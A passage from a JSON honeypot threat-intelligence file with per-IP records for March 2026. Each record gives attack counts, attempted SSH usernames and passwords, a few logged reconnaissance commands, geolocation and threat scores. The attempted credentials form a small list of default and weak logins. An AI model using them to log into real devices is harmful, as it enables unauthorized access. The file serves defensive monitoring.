      "attack_count": 50,
      "first_seen": "2026-03-05T02:17:40.274Z",
      "last_seen": "2026-03-05T02:23:04.694Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T02:17:40.274000+00:00",
        "last_seen_30d": "2026-03-05T02:24:05.317000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "146.190.133.182": {
      "attack_count": 44,
      "first_seen": "2026-03-02T08:28:19.078Z",
      "last_seen": "2026-03-02T08:37:40.428Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:28:19.078000+00:00",
        "last_seen_30d": "2026-03-02T08:47:47.594000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 19
      }
    },
    "185.91.69.217": {
      "attack_count": 44,
      "first_seen": "2026-03-12T09:11:01.083Z",
      "last_seen": "2026-03-19T02:42:24.372Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Redditch",
      "asn": 201579,
      "as_org": "Hostgnome Ltd",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.5,
        "persistence": 20.0,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 24,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T01:00:06.245000+00:00",
        "last_seen_30d": "2026-03-26T20:09:51.192000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144,
        "Tanner": 92,
        "Cowrie": 44,
        "Honeytrap": 2
      }
    },
    "38.188.160.52": {
      "attack_count": 28,
      "first_seen": "2026-03-10T23:00:55.038Z",
      "last_seen": "2026-03-11T00:32:25.813Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "10101983",
        "11041986",
        "23071986",
        "firefox1",
        "paris92"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:00:55.038000+00:00",
        "last_seen_30d": "2026-03-11T00:33:30.102000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "192.210.254.30": {
      "attack_count": 25,
      "first_seen": "2026-03-13T06:36:56.128Z",
      "last_seen": "2026-03-13T06:51:01.163Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T06:34:33.369000+00:00",
        "last_seen_30d": "2026-03-13T06:52:06.353000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 14
      }
    },
    "223.247.153.211": {
      "attack_count": 22,
      "first_seen": "2026-03-09T08:11:28.766Z",
      "last_seen": "2026-03-15T23:35:11.830Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "passbolt",
        "zjsf"
      ],
      "passwords_attempted": [
        "123456",
        "Zjsf123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140527,
      "as_org": "China Telecom",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T08:11:28.766000+00:00",
        "last_seen_30d": "2026-03-15T23:37:38.276000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 16
      }
    },
    "118.193.36.220": {
      "attack_count": 20,
      "first_seen": "2026-03-15T15:03:30.858Z",
      "last_seen": "2026-03-15T15:03:57.271Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.7,
        "persistence": 16.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 20,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-10T03:34:50+00:00",
        "last_seen_30d": "2026-03-29T06:20:21.443000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 24,
        "Cowrie": 20
      }
    },
    "31.56.222.138": {
      "attack_count": 20,
      "first_seen": "2026-03-27T05:12:13.656Z",
      "last_seen": "2026-03-27T05:13:52.998Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T05:12:13.656000+00:00",
        "last_seen_30d": "2026-03-27T05:14:58.513000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "185.242.226.23": {
      "attack_count": 16,
      "first_seen": "2026-03-09T09:20:21.844Z",
      "last_seen": "2026-03-23T05:10:33.413Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 75.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4836,
        "days_active_30d": 18,
        "ports_targeted_30d": 445,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-09T08:27:32+00:00",
        "last_seen_30d": "2026-03-26T01:26:04.153000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2864,
        "Honeytrap": 1769,
        "Dionaea": 74,
        "Adbhoney": 73,
        "Miniprint": 24,
        "Cowrie": 16,
        "ConPot": 8,
        "Dicompot": 7,
        "H0neytr4p": 1
      }
    },
    "27.79.4.8": {
      "attack_count": 15,
      "first_seen": "2026-03-24T22:31:37.536Z",
      "last_seen": "2026-03-24T22:31:57.747Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ubnt"
      ],
      "passwords_attempted": [
        "admin",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T22:31:37.536000+00:00",
        "last_seen_30d": "2026-03-24T22:33:04.136000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "47.254.234.203": {
      "attack_count": 15,
      "first_seen": "2026-03-17T11:26:08.964Z",
      "last_seen": "2026-03-27T23:39:46.523Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 55.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.0,
        "persistence": 15.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 19,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T21:41:22.290000+00:00",
        "last_seen_30d": "2026-03-31T23:41:01.075000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Cowrie": 15,
        "Honeytrap": 10
      }
    },
    "66.240.236.116": {
      "attack_count": 12,
      "first_seen": "2026-03-02T15:48:02.510Z",
      "last_seen": "2026-03-24T17:38:37.486Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 87.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 29,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T15:48:02.510000+00:00",
        "last_seen_30d": "2026-03-30T00:47:55.203000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 99,
        "Dionaea": 14,
        "Cowrie": 12,
        "Honeytrap": 7,
        "Redishoneypot": 6,
        "ElasticPot": 2,
        "Tanner": 1
      }
    },
    "45.156.129.73": {
      "attack_count": 11,
      "first_seen": "2026-03-03T02:56:19.773Z",
      "last_seen": "2026-03-03T02:56:39.080Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 71.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.2,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T02:56:19.773000+00:00",
        "last_seen_30d": "2026-03-31T15:12:57.539000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 14,
        "Cowrie": 11
      }
    },
    "185.93.89.97": {
      "attack_count": 10,
      "first_seen": "2026-03-06T00:34:03.398Z",
      "last_seen": "2026-03-06T05:45:23.065Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech123#",
        "kelltech@2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:49:18.792000+00:00",
        "last_seen_30d": "2026-03-06T05:46:27.077000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 10,
        "Heralding": 2
      }
    },
    "38.188.160.197": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:42:45.371Z",
      "last_seen": "2026-03-10T23:57:21.445Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ghjklm",
        "homers"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:42:45.371000+00:00",
        "last_seen_30d": "2026-03-10T23:58:30.925000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "38.188.160.200": {
      "attack_count": 10,
      "first_seen": "2026-03-11T00:10:59.489Z",
      "last_seen": "2026-03-11T00:38:46.159Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "lkjhgfdsa",
        "venice"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:10:59.489000+00:00",
        "last_seen_30d": "2026-03-11T00:39:52.296000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "104.244.73.14": {
      "attack_count": 8,
      "first_seen": "2026-03-26T19:58:44.592Z",
      "last_seen": "2026-03-26T19:59:09.218Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 50.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.9,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T16:49:52+00:00",
        "last_seen_30d": "2026-03-26T20:00:14.837000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "H0neytr4p": 9,
        "Cowrie": 6,
        "Honeytrap": 1
      }
    },
    "77.222.46.211": {
      "attack_count": 7,
      "first_seen": "2026-03-30T18:22:10.905Z",
      "last_seen": "2026-03-30T18:24:45.846Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 44112,
      "as_org": "SpaceWeb Ltd",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T18:22:10.905000+00:00",
        "last_seen_30d": "2026-03-30T18:35:45.082000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "113.96.35.135": {
      "attack_count": 6,
      "first_seen": "2026-03-30T09:34:20.928Z",
      "last_seen": "2026-03-30T09:36:21.688Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T09:34:20.928000+00:00",
        "last_seen_30d": "2026-03-30T09:46:25.045000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "166.1.144.62": {
      "attack_count": 6,
      "first_seen": "2026-03-27T16:06:50.328Z",
      "last_seen": "2026-03-29T22:16:39.975Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        ""
      ],
      "passwords_attempted": [
        "id"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 216039,
      "as_org": "EdgeSec Technologies Limited",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T02:01:46.332000+00:00",
        "last_seen_30d": "2026-03-31T08:07:36.268000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "172.104.11.51": {
      "attack_count": 6,
      "first_seen": "2026-03-20T00:17:31.162Z",
      "last_seen": "2026-03-20T00:17:31.560Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 77.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 28,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T14:35:56+00:00",
        "last_seen_30d": "2026-03-31T18:24:03.256000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 24,
        "Cowrie": 6
      }
    },
    "199.45.155.81": {
      "attack_count": 6,
      "first_seen": "2026-03-25T09:32:14.583Z",
      "last_seen": "2026-03-25T09:32:51.560Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 72.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 27,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T10:30:37+00:00",
        "last_seen_30d": "2026-03-30T06:19:14.421000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 20,
        "Cowrie": 6
      }
    },
    "69.5.189.207": {
      "attack_count": 6,
      "first_seen": "2026-03-17T21:14:41.931Z",
      "last_seen": "2026-03-17T21:14:55.836Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 89,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-17T21:11:50.015000+00:00",
        "last_seen_30d": "2026-03-17T22:15:43.705000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 211,
        "Honeytrap": 42,
        "Miniprint": 13,
        "Adbhoney": 10,
        "Dionaea": 9,
        "Cowrie": 6,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "79.124.8.148": {
      "attack_count": 6,
      "first_seen": "2026-03-05T09:47:46.483Z",
      "last_seen": "2026-03-05T23:14:45.577Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 62.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 2151,
        "days_active_30d": 19,
        "ports_targeted_30d": 582,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T09:05:17+00:00",
        "last_seen_30d": "2026-03-23T13:15:23.544000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1273,
        "Honeytrap": 870,
        "Cowrie": 6,
        "Dionaea": 2
      }
    },
    "8.208.115.249": {
      "attack_count": 6,
      "first_seen": "2026-03-03T00:55:39.851Z",
      "last_seen": "2026-03-08T06:23:03.603Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 5.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 6,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T00:55:39.851000+00:00",
        "last_seen_30d": "2026-03-08T17:29:04.507000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 6,
        "Honeytrap": 2
      }
    },
